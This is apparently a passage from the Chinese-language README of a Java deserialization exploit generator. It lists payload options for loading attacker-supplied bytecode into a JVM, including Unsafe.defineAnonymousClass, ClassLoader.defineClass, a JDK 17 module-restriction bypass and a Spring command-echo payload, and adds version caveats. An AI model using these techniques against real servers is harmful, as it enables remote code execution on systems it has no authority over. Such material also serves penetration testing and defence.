shiro_spring_loadclass springmvc中间件场景下从请求参数中读取字节码进行加载
-
unsafe_defineanonymousclass 使用unsafe的defineanonymousclas方法对字节码进行加载,后面接字节码执行的漏洞利用效果参数
- unsafe_defineanonymousclass:auto_cmd:calc 弹出计算器
- unsafe_defineanonymousclass:class_file:<class_file> 从系统路径中注入class文件,执行class代码
-
classloader_defineclass 使用线程上下文的classloader方法对字节码进行加载,后面接字节码执行的漏洞利用效果参数
- classloader_defineclass:auto_cmd:calc 弹出计算器
- classloader_defineclass:class_file:<class_file> 从系统路径中注入class文件,执行class代码
-
bypassmodule_classloader_defineclass 绕过JDK17高版本模块化的限制使用ClassLoader继续进行类加载,后面接字节码执行的漏洞利用效果参数
- bypassmodule_classloader_defineclass:auto_cmd:calc 弹出计算器
- bypassmodule_classloader_defineclass:class_file:<class_file> 从系统路径中注入class文件,执行class代码
-
springframework_echo 生成SpringFramework的Runtime命令回显代码
unsafe#defineanonymousclass方法加载字节码类时需要注意,JDK版本不同时该方法的差异:
-
JDK>=17 时,unsafe没有defineAnonymousClass这个方法
-
17> JDK >8时,defineAnonymousClass做了限制,被加载的Class要满足两个条件之一:
-
没有包名
-
包名跟第一个参数Class的包名一致,此处为java.lang,否则会报错
byte[] var2 = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), var2 , null)
-
-
JDK <=8时,无上述限制
所以在使用工具的unsafe_defineanonymousclass时要注意这个情况。classloader_defineclass参数由于采用线程上下文的classloader就没有这个影响,但是有时候该classloader加载的类只能被打一次而unsafe#defineanonymousclass就没有这个情况。所以根据实际情况而选择。
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests

















